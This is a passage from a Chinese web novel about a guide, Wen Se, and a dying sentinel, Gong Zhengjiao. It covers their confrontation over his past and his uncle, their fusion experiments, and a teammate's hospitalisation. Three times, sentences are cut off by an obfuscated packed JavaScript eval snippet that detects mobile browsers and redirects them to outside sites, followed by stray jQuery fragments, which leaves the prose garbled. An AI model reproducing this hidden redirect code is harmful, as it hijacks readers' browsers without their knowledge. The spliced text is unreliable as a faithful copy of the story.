他心里静不下来,肩上还靠着一个站着睡着的弓铮皎,一时间也有些莫名的胡思乱想。 犹豫再三,闻璱最终把弓铮皎放在了自己床上。 毕竟这屋里现在除了床上和洗手间,根本没有一处可以正常落脚的地方。 而且刚才灰烟乱飞,血花四溅,多少沾到了床上,让闻璱自己躺上去睡一觉,他绝对接受不了。 但弓铮皎……介意也得能张嘴说才行。 给弓铮皎象征性地盖上被子之后,闻璱环顾四周,不得不承认这个宿舍现在真是堪称废墟。 闻璱又照了照镜子,才后知后觉地发现,自己现在也像个狼狈的难民。 脱下外套,又简单地洗脸洗手之后,闻璱找出手套戴上,然后捡起来刚才被弓铮皎丢在地上的那沓合同。 他相信弓铮皎应该是没有翻他的东西,就算翻了,也没仔细看。 因为弓铮皎如果翻到合同末页,就会发现签名处赫然被贴上了一个卡通贴纸。 像是儿童医院给孩子打针之后送贴纸和糖丸一样,卡通字体写着:真棒!下次也要加油哦! 是闻璱之前去孤儿院做义工时,被孤儿院的孩子送的礼物。 闻璱原本也没有打算签下这份合同。 虽然诚如彭枭所言,闻璱从来不避讳,自己确实是个功利的人。 正因为功利,他才分得清孰轻孰重。 闻璱明确知道,无论是财富还是希冕创辉的帮助,跟弓铮皎这个傻白甜沟通,都一定比签下这份合同,与专业律师团队斡旋更容易。 在意识到弓铮皎和希冕创辉的关系之后,他也确实是这么打算的。 只是考虑到弓铮皎刚刚失控过、从小黑屋出来、甚至进入了低能模式,他觉得立刻提这事也太没人性了,好像自己完全把弓铮皎当个工具人,这才按下不表。 不论是朋友间,还是其他关系,他还是动了点真心,所以不想显得那么“功利”。 也是因为有了点真心,才会在弓铮皎问都不问,就认为他开始履行合同内容之后,罕见地生气。 ……毕竟,他确实不会给普通朋友剥荔枝,还亲手喂进对方嘴里。 他叹了口气,把合同撂在一旁,转而把荔枝端到面前,剥了一颗给自己吃。 刚才剥的几颗都用来喂弓铮皎了,这么贵的荔枝,他自己还没尝过。 结果进了嘴,果然不出他所料,寡淡无味,钱全花到包装上了。 这种华而不实的荔枝,包装好一点就能卖这个价,大概也只有弓铮皎这种人傻钱多的少爷,才会被骗了还美成那样。 对闻璱来说,还不如自家种的好吃呢。 . 弓铮皎醒来时,觉得自己很久没有睡得这么舒服过。 在患病之前的很多年,他就已经需要依赖安眠药来入睡了,更不用说患病之后。 有一年多的时间,他几乎完全无法成功入睡,药石罔效,连镇定剂也只能让他平静而疲惫地在干躺几个小时。 所以,他曾经是小黑屋的常客——不是因为失控发狂,而是因为他需要休息。 整个疗愈中心,没有向导是他的对手,而那时柳部长还没有上任,催眠方向不算主流。 几乎每一次,弓铮皎都是被治愈着在黑暗中挥发精力,直到筋疲力尽,陷入昏迷。 只有一次不是。 那是一个能够把精神力化为实质的向导,让弓铮皎第一次承认,向导也不全是为弱者准备的后勤人员。 小黑屋的机制针对哨兵,所以,弓铮皎被打得毫无还手之力,很快就晕过去了,比以往都轻松。 他做了一个很长的梦,梦里仿佛一切都回到了患病之前。 而他只是在草地上打滚,在河里游泳,在Windows XP默认桌面般学院派的蓝天下不断奔跑。 好简单,但也好安宁。 迷梦朦胧之间,弓铮皎仍然能听到小黑屋外传来的议论声。 有人说:你怎么敢进去安抚他的?你知不知道他的身份?如果他刚刚发狂,把你撕成碎片,没有人能替你伸冤! 弓铮皎无法反驳。 可是,梦竟然还没有结束。 在清醒梦里,过了不知多久,竟然有人进来了。 弓铮皎突然意识到,这是那个向导还在努力——因为无法进入精神图景,对方大概以为是被拒绝了,于是,便用精神力编织起一个能让他休憩的梦。 这个向导不怕死的吗? ……也可能是对自保能力有充足自信。 毕竟,刚才也是这个向导把他揍晕过去的。 弓铮皎安心地沉浸在梦里 黑暗里,弓铮皎看不清来人的脸,却记住了对方的向导素。 因为,有人在黑暗中摸了摸他的额头,然后又点了点他的嘴唇,似乎是想把什么东西喂进他嘴里。 弓铮皎本能地闭锁牙关,于是向导说:“张嘴,吃糖。” “什么味的?” 向导似乎有些无语和好笑地说:“荔枝味的。” 那颗荔枝糖的味道,弓铮皎至今都还记得。 离开小黑屋之后,他买遍了市面上所有的荔枝糖,甚至买下一整条食品生产线,投资了好几个食品加工厂,都没能成功复刻。 他逐渐明白,化在自己舌尖的好像并不是一颗糖,只是一块冰而已。 因为沾上了特别的向导素,而让他念念不忘。 而现在,弓铮皎第一次在这股向导素的包裹中醒来,舒服得恨不得把脑袋埋进去猛吸一口。 他一睁眼正想这样做,就和梦里的眼睛对视上。 “别告诉我你要吸一口。”闻璱幽幽道。 弓铮皎喉头一滚,咽下原本迫不及待的那口气,故作无事道:“没有。” 虽然闻璱觉得并不是这样,但毕竟悬崖勒马了,也没什么好再追究的。 他也是刚刚醒来,在桌子上趴着睡了一夜,腰酸背痛不说,直起身体的瞬间,他就感觉到不对劲——他落枕了。 于是,他只能正襟危坐地偏着头和弓铮皎说话:“那好,我有些事要问你。” 见弓铮皎坐起来时还兀兀陶陶地,像是宿醉过后大脑迟钝得无法处理信息一般,闻璱又一本正经地重复了一遍:“SS44520T,我们谈谈。” 果然,这串编号就像一道晴天霹雳,劈得弓铮皎立刻手脚冰凉,僵在床上。 他张了张嘴,声音带着颤:“你……你知道了?” 共鸣炸弹激发了他潜意识的反应,紧接着又是催眠,让他不记得昨晚最后发生了什么,更忘了自己已无意识地把这个秘密全盘托出。 而弓铮皎的记忆止于闻璱最后骂他的那一句,“没有家教的幼稚鬼”。 他试图回想,很快猜到了什么,脸色阴沉道:“你催眠我?” 所以说,他不喜欢那种感觉。 “是的,作为对你的报复。”闻璱坦然承认。 当然,闻璱的意思就是最直白不过的——作为对你昨晚误会我履行合同义务的报复,既然如此,就让你看看,怎么才叫真正的履行义务。 这话落在弓铮皎耳中,却另有一番含义。 他抿了抿嘴,竟然仿佛松了口气,问:“那我们,这就算扯平了?” 顿了顿,又补充一句:“或者你还可以再骂几句,我确实没家教。” “……” 闻璱一时失语。 他心想,是这句话对弓铮皎的攻击力太低,还是弓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418167|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铮皎和他想的,根本不是一码事? 有时候他试图和弓铮皎搭上同一根筋,但成功率不太可观。 静了几秒,闻璱幽幽道:“你别告诉我,你真的被骂爽了。” 弓铮皎立刻道:“怎么可能?我又不是彭枭!” 对视了一会,闻璱问:“你是不是很早就认出我了?” 如果是因为曾经在疗愈中心的这段“无面之缘”,那弓铮皎突然要上赶着来给他送钱,似乎勉强能…… 不,还是很难解释得通。 弓铮皎说:“其实也没有很早。” “我记得你的向导素,但是,随着病情越来越严重,我对向导素也产生了障碍,很长时间里,我一嗅到向导素就会反胃、恶心。” “一直到那天你借走我的终端,我突然闻到你的向导素,但是不觉得难受,才反应过来那是你。而且,不知道为什么,只有你的向导素对我有效。” 醒了就变成“不知道为什么”了。 闻璱凉凉地瞟了弓铮皎一眼,最终没有揭穿。 他是落枕才不得不这样说话,在弓铮皎眼里,却是对此十分不满,才作出这番姿态。 弓铮皎连忙找补道:“我真的没有视奸你很久,那天也完全是个巧合。” 闻璱回想起那天,立刻问他:“你那天不会回家之后偷偷吸自己的终端吧?” 弓铮皎也恼了:“都说了我不是彭枭那种人!” 闻璱:“彭枭可不会用我的餐具当助眠香氛。” 一提这事,弓铮皎才硬起来的腰板立刻又软倒了,低着头不说话。 显然,这半认命半逃避的态度也意味着,下次还敢。 闻璱忍不住问:“为什么不直说?” SS44520T号哨兵,为什么不在一见面就坦诚自己的身份? SS44520T,真名为弓铮皎的哨兵,偏开脸,低声说:“你不怪我吗?” 闻璱一愣:“什么?” “我以为你会恨我。”弓铮皎道,“听说你原本是柳部长的得意门生,也是他钦定的下一任部长候选人。但是因为我,你失去了这份工作。” 静了半晌,闻璱才惊疑不定道:“你的意思是,我离开疗愈中心,是被你害的?” 好新奇的说法,连闻璱本人对此都闻所未闻。 偏偏弓铮皎的黯然不似作伪,让闻璱不禁思考,如果这是真的,那自己那段从疗愈中心辞职,还被柳部长一通痛批的记忆,又是从何而来。 “你应该知道我的背景了,我家人都是普通人,他们不懂特种人,误会你折磨我……所以,我叔叔威胁疗愈中心将你辞退,并且之后永不录用。” 弓铮皎独自沉浸在自己愧疚难过的情绪里,总结道:“……是我毁了你的未来。” 闻璱:“……” 他这下明白了,怪不得弓铮皎连给钱这么理直气壮的事,都要做得如此富有偷感。 如果自己真的是一个对疗愈中心怀揣着美好梦想,准备大展宏图的向导,善心救治某特权哨兵,反而被误会丢了工作,确实会恨死这个哨兵。 而且,也大概率不会在这个哨兵需要向导素时,提供帮助。 “我所听说的,倒是和你恰恰相反。”闻璱说,“而我离职,完全是我的个人原因,与你无关。” 弓铮皎猛地抬头,不可置信地看着他。 “你叔叔骗了你,而你没有跟我说实话。”闻璱静静地看着弓铮皎,“这是最后一次机会,弓铮皎,别再撒谎。” 他知道,或许弓铮皎想粉饰的真相,对自己并不会有什么影响。 大概这又是某种本能的防卫机制,保护的是弓铮皎某些不想示弱的别扭心理。 放在以前,闻璱会理解、尊重、回避。 但现在,闻璱偏要揭开他的保护色。 弓铮皎怔怔地张了张嘴,一时说不出话来。 那双蓝紫色的眼眸中有惊讶,有愤怒,有闻璱看不懂的情绪,却唯独没有疑惑。 好一会儿,弓铮皎才再次开口:“是的……是因为那时,你或许真的能救我。” “如果那时候就让我见到你,大概我还有救,不会走到今天这步田地,这才是我叔叔不想看到的结果。” “因为,他希望我能早点去死。” 19.第 19 章 “……什么?”闻璱没想到,自己竟然听到了一番如此叔侄相杀的大戏。 他脑袋里立刻浮现出,各种豪门电视剧里,为继承权而勾心斗角的戏剧性桥段:“难道其实你才是希冕创辉的钦定继承人?” “怎么可能。”弓铮皎无奈道,“其实没什么恩怨,只不过我们本来就不是一个世界的人,过不到一起去,当然也没什么感情。” “更不用说,我患病之后,给家里造成了很多负面消息。比如我忍不住揍了狗仔,第二天头条就是‘希冕创辉董事长的特种人侄子对普通人记者大打出手’……诸如此类,我叔叔一直很头疼。” 不过,在此前的十几年,类似的骚扰其实从未休止,只是弓铮皎足够能忍。 弓铮皎提到的暴力事件发生在患病初期,当时弓铮皎还住在宿宁区的高档公寓里,那是本市著名的豪宅社区。 一个记者重金租下弓铮皎隔壁,然后整天播放重金属音乐,还有希冕创辉相关的许多负面新闻。 弓铮皎承认,疾病、疼痛、无法入睡,和病痛带来的不得不退任,这一切一切,确实都导致他情绪暴躁。 终于,在某天下楼倒垃圾时,面对记者在电梯里公然挑衅,弓铮皎一把捏爆了记者的DV机,然后撕开电梯门,扬长而去。 事故不算小,出动了救援队,即便希冕创辉稳定住了惊魂未定的记者,这件事也根本压不住。 第二天见报之后,不出所料,在普通人的舆论非常轰动,甚至引起了社会上关于“特种人和普通人住房隔离”的必要性讨论。 巨额赔款、股价波动、公开道歉……总之,让希冕创辉很是水深火热过一番。 那之后,弓铮皎搬进了白塔周边,特种人活动更积极的区域。 也就是闻璱工作室的那栋楼。 类似的事件和报道不胜枚举,或是捕风捉影,或是完全捏造,总之不利于希冕创辉营造良好的企业形象。 而对于现在的希冕创辉来说,也已经不需要一个特种人“代言人”,以便在白塔占有更多话语权。 弓铮皎这个极不稳定且丑闻不断的哨兵,只会给企业带来源源不断的舆情危机。 所以,在得知弓铮皎病情恶化,必死无疑后,董事长委婉地表达了意愿:希望弓铮皎能安宁地享受生命最后的日子。 换句话说:安分点,乖乖去死,别再惹事。 弓铮皎曾经以为这也是无奈之举。 他曾经对许多事情或许有猜测,但总是不愿意承认,早在恶化之前,在他的病情还未有定论时,叔叔就在试图斩断他的活路。 毕竟,人只有一直在痛苦里,才更有可能挣扎到筋疲力尽、厌倦活着。 而现在,当死亡已是板上钉钉,叔叔或许怜悯之心作祟,又希望能够用钱砸来他最后半年的“幸福”。 这样,他就能没有任何遗憾地去死了。 “所以我才不想回去,叔叔怕我发疯,平时就劝我少出门,家里也到处都是监控。我本来是想要在你来我家之前,至少把监控拆了。结果叔叔安排的保洁竟然说……”弓铮皎一顿,有些不太想复述保洁的原话。 “总之,我打了他,他报了警,我就跟着白塔走了。” 事情大概就是这样。 闻璱问:“说什么?” 弓铮皎眼神一飘,还是没回答他。 闻璱也不追问,只缓缓道:“所以让你回家你不想回,以前你也巴不得整天都呆在我工作室里……”他捕捉到弓铮皎眼神飘忽,立刻改口,“不对,这个是为了向导素?” 话音落下,弓铮皎一僵。 闻璱捏了捏鼻梁,自言自语道:“难怪张律师就这样让我把你带走……” 张律师肯定也查过了闻璱的住处。 郊区的特种人宿舍,住的大多是一些经济条件较差、等级也偏低的特种人。 在这里发生任何特种人暴力事件,都显得很正常,不会引起普通人那边太多关注。 如果在这里两个人大打出手,还恰好导致弓铮皎直接被电击环电成物理意义上的熟男,那更是意外之喜。 他看着没什么表情的弓铮皎,心里觉得,弓铮皎也挺可怜的。 在病情尚且有转圜余地时,家人不希望他被治疗。 在死亡彻底不可逆后,家人又希望能满足他,好让他安心去死。 但这依然不是弓铮皎可以在自己宿舍大搞破坏的理由。 而且,闻璱还并不打算接受这个说法——自己和弓铮所患上的是必死绝症。 闻璱指了指屋里的一片狼藉,理直气壮道:“这些你都要赔,还有我的误工费,你在小黑屋里应该也听到了?” 他一提钱的事,弓铮皎的态度立刻自然起来:“当然,没问题。” 闻璱看着他,又问:“一直听你说你叔叔,还没问过,你父母呢?” 虽然不问也不难猜到,就算弓铮皎父母双全,恐怕也没有什么能够左右资本的话语权。 否则,谁会就这样看着自己的孩子去死? 弓铮皎道:“离婚了,没见过妈,爸是搞科研的,几乎也没见过。” 也就是说,他们不是死了,也不是有心无力,而是确实不在意这个孩子。 闻璱沉默片刻,道:“关于说你‘没家教’的话,我很抱歉。” 弓铮皎瞥了一眼他:“没关系——你这么说,我都当你在骂他们,挺好的。” 他倒是洒脱。 既然当事人都没什么多愁善感的情绪,也省得闻璱再费脑筋安慰。 他当即转移到下一个话题:“你的事说完了,现在来说说我的。” “弓铮皎,昨天下午,你看到了我的精神体。”闻璱陈述。 弓铮皎那时处于低能模式,但后来恢复之后,这段记忆并没有被大脑保护性地删除。 他不会说,在闻璱休息、他躺在地铺上的那一个小时里,他狠狠回顾了撸黑天鹅的体验。 他只是故作镇定道:“是。它很漂亮,叫什么名字?” “小黑。”闻璱回答。 “小黑?”弓铮皎有点无语,“这名字也太不用心了。” “……”闻璱更是无语,“说得好像阿咬是什么引经据典的绝世美名。” “阿咬怎么不是?首先它真的很能咬,其次,这和我的小名——”弓铮皎悬崖勒马。 “……”闻璱微笑,“谁问你了?” 弓铮皎乖乖闭嘴。 “说正事。”闻璱道,“你也是融合派,你对精神体和精神图景之间的联系有什么看法?” “为什么突然问起这个?”弓铮皎认真地思索了一番,才道:“一体两面。有人认为精神图景是储存精神体的特殊空间,精神图景异常会导致精神体被限制,所以将它们分为两个个体。但实际上,精神体和精神图景,只是同样的能量在不同频率下。” 屋里太小,弓铮皎不能把阿咬放出来演示,就只能试探着化出一只硕大的虎爪。 拟态融合,但是只选取了部分融合,这是为了战斗中更加灵活,闻璱再熟悉不过。 弓铮皎张了张那只爪子,突然,爪子里便出现了一颗石子。 他把那粒石子向窗外丢出去,半空中,石子化成了一串可视的水珠。 弓铮皎解释道:“调频可以让精神体取出精神图景里的东西。” 闻璱看也没看,淡然道:“高空抛物要罚款。” 弓铮皎挑了挑眉毛:“你怎么知道那是真的?” 他的反问很有道理,因为精神体本该是一种波段特殊的能量,只有特种人能够看到、也只对包括特种人在内的精神力的生物产生影响。 隔空从精神图景中取出一粒石子,这粒石子自然也只能是精神力,并无实体。 唯独不巧的是,闻璱也曾是融合派的佼佼者。 他站起身,眼疾手快地向空气伸去,抓住了一团空气扯了扯。 扯动之间,身旁的水龙头开开关关,仿佛有一根看不见的线连在把手上。 石子是弓铮皎精神图景里的某种具象化投射,水珠却是水龙头里流出来的、真正存在的水。 弓铮皎眼睛一亮,赞叹道:“不愧是你。” 他令拟态显形,原来闻璱手里握着的,正是他的尾巴。 闻璱松了手,立刻把手伸到水龙头下面去,尾巴一动,便放出水来,叫闻璱洗了个手。 闻璱淡淡道:“这没什么,但你不避讳我,倒是不怕我举报你。” 出于治安的考虑,白塔官方反对特种人在不报备的情况下,私下进行任何实验。 融合派从理论走进现实,这个级别的大新闻,在获得官方认可之前,当事人绝对要先被监禁很久。 弓铮皎却不以为然:“你不也是吗?想举报就举报吧,说不定还能有奖金。” 反正他也没多少日子可活了。 只要不在闻璱身边,在哪都差不多。 见闻璱一时不语,弓铮皎故作镇定地抖了一会腿,忍不住问:“昨天晚上,就是这些,对吗?” 很低级的试探。 闻璱几乎立刻就明白他想问什么了。 既然弓铮皎不存在任何器质性的病变和创伤,问题就只能出现在心里。 抗拒,所以生理性反感其它向导素。 喜欢,所以只有一个人的向导素有效。 说意外,闻璱倒是不算太意外。 他不明白的是,弓铮皎大概也对此心知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427281|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚明,却害怕这件事被他知道。 是因为看出来了闻璱怕麻烦,担心感情纠葛会让他失去“助手”的机会? 似乎是,但又不全是,因为他几乎毫不掩饰对闻璱的好意。 比起怕闻璱知道这份感情,倒不如说,他在骗自己。 闻璱不太能理解这个心态。 于是,他不动声色地掐了一把弓铮皎的拟态尾巴,随口道:“不然呢?这些还不够?” 弓铮皎立刻“嘶”了一声。 又麻又痛,还有些不可说的感觉。 但这是精神体,只不过是精神力的一种体现形式,并不该具有痛觉和实质。 就像精神体被称之为消散而非死亡,精神图景的相关用词也是萎缩而非崩塌。 因为,在“现实”的波段上,这些都是虚拟的。 特种人的特种,除了哨兵体质优于普通人之外,也只是特别在能够接收和发送这一特殊波段的能量——在污染区有奇效。 如果在社会中和普通人横向对比,至少向导几乎泯然众人,而哨兵由于感官敏锐,反而比普通人更易被环境影响。 也就是说,离了污染区,特种人的精神力可以说只是摆设。 这才是融合派真正的厉害之处。 通过调整波段,融合派赋予这种特殊的精神能量变得更“虚”,更接近精神图景的频率,以至于同为特种人都无法看到;但与此同时,也能赋予拟态拥有能被触摸到、能拧开水龙头的“实”。 也就是说,精神力和普通人,可以不再是两条永不相交的平行线。 这也是融合派真正的秘密。 闻璱松开手,让弓铮皎自如地收回拟态尾巴。 只见弓铮皎神态如常,再没了早先的那些窘迫、羞涩、不安。 自从挑明了身份和病情,还有那段疗愈中心的过去,弓铮皎颇有几分破罐子破摔的耍赖感。 他干脆道:“对不起。钱我十倍百倍赔给你,房子也给你,不、遗产全都给你。” “只要……你陪陪我,可以吗?” 说这么肉麻的话,让弓铮皎颇有些赧然,打量着闻璱的神态,又补充了一句:“你说过,让我有话直说的。” 潜台词是:现在我直说了,你总得答应我了吧? 闻璱没理会他的耍赖,一本正经地问:“先说正事,你有没有想过,你的图景萎缩了,精神体却很健康,这是为什么?” 至少闻璱就很好奇,为什么自己的精神图景一派安然,精神体却莫名隐身。 但是,向导进入精神图景安抚哨兵是常见手段,向导自身的精神图景却是高度封闭的,闻璱也没能通过研究精神图景来反向治疗拟态隐身症。 弓铮皎答道:“阿咬在精神图景外一切正常。” 确实如此,至少闻璱也是在进入精神图景之后,才发现阿咬也有“刷牙”的需求。 他们的情况倒是真的很像,都是精神体和精神图景的二者其一出现重大问题,但无法从另一者身上下手。 同时,主流的理论大多仍然坚信这两者均为独立个体,让闻璱连个过去的参考案例都找不到。 闻璱思索着该不该将自己的情况告诉弓铮皎。 这件事,闻璱连家人和小队成员都没有透露过。 而弓铮皎也想到了这件事——这场对话该追溯到昨晚,他说闻璱为了金钱签下合同开始。 现在,弓铮皎仍然觉得如此,只不过他也不认为,闻璱想要钱是什么罪大恶极的事情。 当局者迷,弓铮皎也不知道,从愧疚和渴求里疯狂生长出的情绪,究竟从什么时候开始模糊了某种边界。 他只是确信,不能再继续下去。 弓铮皎低声道:“我昨天那样说,也并不是在责怪你,我只是……” “只是觉得没必要。” “我快死了,与其在我死之后和我叔叔的律师团队交涉,你还不如直接跟我要。”弓铮皎偏过头,“而且,我也不希望你真的装作喜欢我的样子,我真的会上当,那样反而对你不好。” “为什么?” “我最了解我自己。”弓铮皎瞥了他一眼,“如果你真的演得太好……你就没命享受我的遗产了。” 弓铮皎心想,闻璱说他很能忍,这完全是个误会。 至少他扪心自问,如果只是这样各取所需的“朋友”关系,他会愿意为闻璱铺好自己死后的路。 但凡能够更进一步,都让他觉得喉咙发痒,忍不了一点。 是爱欲,是贪婪,是占有,还是怜惜? 或许都是,也都不是。 是狩猎的饥渴——沼泽里的猛兽,宁可沉没得更快,也要在临死之前,把心爱的猎物紧紧咬住。 20.第 20 章 原来如此,这个“自欺欺人”的疑问终于有了解答。 闻璱眉头微挑,对此不置可否。 桌上终端震动,打断了两个人各自沉思。 闻璱拿起终端一看,发现竟然是逄靥星来电。 他算了下日子,心想大概是逄靥星从污染区回来,联系他商量去公会登记的事情。 这两天还真是事赶事赶事,忙得一刻都停不下来。 然而,一经接通,那边传来的竟然是稚嫩的哭声。 “香蒲哥!我、我是小月,我不知道该怎么办……” 是逄靥星的妹妹,也是逄靥星唯一的家人,才十来岁,现在应该还在圣所接受向导培训。 闻璱连忙道:“小月?你先别着急,慢慢说,发生什么事了?” 心里却是一沉——恐怕发生了什么不太好的事情,但还有哭的份,说明还有救。 果然,小月深呼吸稍作平复之后,带着哭腔说:“我在特种人医院白塔总部,我哥进手术室了,我听他们说是、是溺水导致……” 溺水? 可逄靥星的游泳成绩优秀得离谱,精神体还是北极熊,冰海里的游泳健将。 哪怕说是中暑呢! 闻璱险些怀疑自己的耳朵,就听电话那边又传来另一道还算冷静的声音: “闻队,小胖是干性淹溺导致的昏迷,已经进抢救室了,我们就在医院,你最好也尽快来一趟。” 这是小队里跟逄靥星一起继续任务的那个向导,冬歆亭,精神体是蜻蜓。 “我现在赶过去。”闻璱道。 他又安慰了几句小月,便挂了电话,急忙忙地又准备出门。 人都拉开门了,回头见弓铮皎似乎不知道该不该问的样子,吩咐了一声:“你先跟我一起过去吧。” 打车坐上之后,闻璱才有功夫揉捏着脖子,检查终端上的消息。 特殊情况,昨晚睡得明明很不舒服,但又实在很沉,以至于闻璱错过了太多。 凌晨的时候,冬歆亭就发来消息说了情况,大致是二人在污染区遭遇了一些突发状况,逄靥星中了某种精神毒素陷入昏厥,导致冬歆亭不得不暂停任务,带逄靥星离开污染区。 那种毒素并不致命,在注射过解毒剂后,逄靥星只需要休养几天就好。 但不知为何,在离开污染区之后,逄靥星突然出现异常,冬歆亭当机立断把他送到医院去。 这期间,冬歆亭联络过闻璱,队伍里除了彭枭之外的哨兵也纷纷发来消息询问,但这些消息都没能把闻璱从梦里轰炸醒。 医院这边需要亲属在场,闻璱无论如何都联络不上,这才不得不找到了还在圣所的逄宵月。 闻璱一边回复,一边简短地给弓铮皎讲述了一下情况。 碍于闻璱忙着正事,弓铮皎一直不好打扰。到闻璱主动解释过,弓铮皎才终于问出了自己的疑惑:“为什么她喊你‘香蒲哥’?” “……”闻璱就知道他听到了。 但这个问题,闻璱暂时不想回答,糊弄道:“那不重要。” 弓铮皎又关注到了某些没有被提到的重点:“队长又不是亲属,为什么要先联络你,而不是先联络他妹妹?” 问这句话时,连弓铮皎自己都没注意到,自己又下意识地屏息了。 他在想,究竟什么样的关系可以比亲生妹妹更近? 难道……是隐婚? 闻璱一怔,没想到他在意这个,轻叹一声道:“法律意义上,逄靥星他算是我弟弟。” “……”弓铮皎震惊:“什么?!” “我们老家在一块,他的监护人过世后,我妈收养了他和小月。”闻璱简短地解释了一番,“但是那时候他已经不小了,严格来说,我妈只是在他成年前的最后一段时间,短暂地顶了一下监护人的名头。” 弓铮皎一边震惊,一边放心地问:“彭枭知道这事吗?” “为什么要告诉他?”闻璱莫名其妙。 这又不是什么值得四处宣扬的事。 弓铮皎立刻满意了:“他居然误会你们俩的关系,真是肮脏、低俗!” 丝毫不提自己曾经也认真地以为,闻璱和逄靥星或许曾经有过一段。 “……”闻璱放弃深究他的逻辑。 到医院之后,小月已经躺在长椅上睡着了,身上还披着一件脏兮兮的作训服外套。 外套的主人冬歆亭坐在旁边,同样脑袋一点一点地,在打瞌睡。 闻璱过去,默不作声地把作训服外套换成了自己的外套,然后拍醒冬歆亭,示意两人到边上说。 弓铮皎立刻懂事地比了个“OK”的手势,示意自己会替闻璱在这里守着。 “怎么回事?” “我不知道。”冬歆亭捏了捏自己鼻梁,无奈道,“回来的路上我开车,他在后面休息。有一阵子他醒过来,还和我聊了两句,说一会换他开。我没答应,但我也想着这么说他状态不错。那会甚至惦记着,说不定回来做个体检,没问题的话就可以立刻继续任务了。” “后来他在后面没动静了,我以为他又睡着了,喊了一声没人理,我回头一看,才发现不对劲,赶紧送过来了。” 闻璱思索片刻,问:“污染区中的毒是什么毒?” “就是普通的精神毒素,N-2食肉珊瑚,他在水里不小心被沾上了。”冬歆亭道,“这也怪我,是我没有……” “现在不是妄自菲薄的时候,既然已经进了手术室,就相信医生和他吧。”闻璱拍了拍冬歆亭的肩膀,“不过,还得问问你,和彭枭到底怎么回事?” 说实话,闻璱不认为彭枭真的对冬歆亭动手了。 倒不是对彭枭的品格有信心,而是对冬歆亭的性格有了解——冬歆亭才不是个会乖乖被欺负,然后哭着告状的主。 冬歆亭简短道:“他说了一些不好的话威胁我,所以我想让他滚。” 没具体说什么话,显然是不想说。 但闻璱不得不问:“什么话值得你发这么大火,就这样不顾大局?” 闻言,冬歆亭偏开脸,过了一会儿才问:“队长,你也知道小胖和他养母的关系很好,对吧?” 闻璱点了点头,心道:当然了,那是我亲妈。 冬歆亭闭了闭眼睛,低声道:“彭枭说小胖没爹没妈没家教,从小就跟养母不清不楚,所以长大了才介入他人关系,以此威胁我在论坛上帮他作证。但是,这话实在太下贱了,我不想让小胖听到,所以故意说彭枭打我,小胖相信了,二话没说就打了彭枭。” 闻璱:“……” 他深呼吸了两口气,语气似乎十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427282|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静:“这是彭枭的原话?他还说什么了?” “嗯。”冬歆亭皱眉道,“别的也没什么了,就是那些肮脏的臆测,我听了都上火,没给他说太多的机会。不过,他现在应该不会承认了。” 顿了顿,冬歆亭叹了口气,自我检讨起来:“我当时也冲动了,是我不好……” “不,你做得很好,非常好。”闻璱微笑着说,“这事别跟逄靥星提了,我来处理。” 了解过情况,闻璱让冬歆亭回去休息,自己则站在原地平复心情。 现在逄靥星的病情最要紧,他冷静了片刻,然后拨通医院里朋友的电话。 朋友很快来到手术室门口,打过招呼,目光却落在后面的弓铮皎身上。 闻璱还没来得及介绍,就听朋友低声问:“弓先生来做检查?” “不。”弓铮皎指了指闻璱,“我只是陪他来看望病人的。” “呵呵,原来如此。”朋友笑着给闻璱解释,“弓先生在我们院建档以来一直受到高度关注,所有检查都走特殊通道来着。不说这个了,病人的已经进去了?” 闻璱心里一动,面上却不动声色地把检查结果递了过去,随口问:“弓铮皎经常来?” “还好吧。”朋友拿出检查报告细细阅读,似乎没太关注这个问题。 不过,他沉思许久,似乎也对逄靥星的情况一筹莫展。 “很奇怪,不过你们特种人身上奇怪的地方可不少。”朋友指了几个指标,给闻璱简单讲解了一番其中的异常。 末了,总结道,“具体如何,恐怕要到疗愈中心那边才有说法。” 手术时间还久,把朋友送走之后,闻璱实在按捺不住,拿出终端拨出一个通话。 对方过了一会才接,上来就是一个迷糊的大哈欠:“喂?闻璱?这么早你找我干嘛……” 弓铮皎的目光立刻如有实质,立刻粘上了闻璱的后脑勺,原因无他——那头传来的声音正是彭枭。 闻璱脸上挂起公式化的微笑,声音也温柔得离谱:“你还好吗?前两天的事真是个误会,其实,我一直很担心你的腿……” 彭枭受宠若惊,立刻刹住了原本的怪话:“哦!还好,还好。我可是A级哨兵,相信我,体力杠杠的!” “你在哪?在家吗?我去看看你吧。”闻璱随口胡诌,“早上我想下厨试试新菜谱,不小心多做了一份三明治……” 听了这话,电话那头原本脑子就不太清醒的彭枭,立刻把不多的疑惑抛到脑后了。 这是求和吧?这毫无疑问是求和。 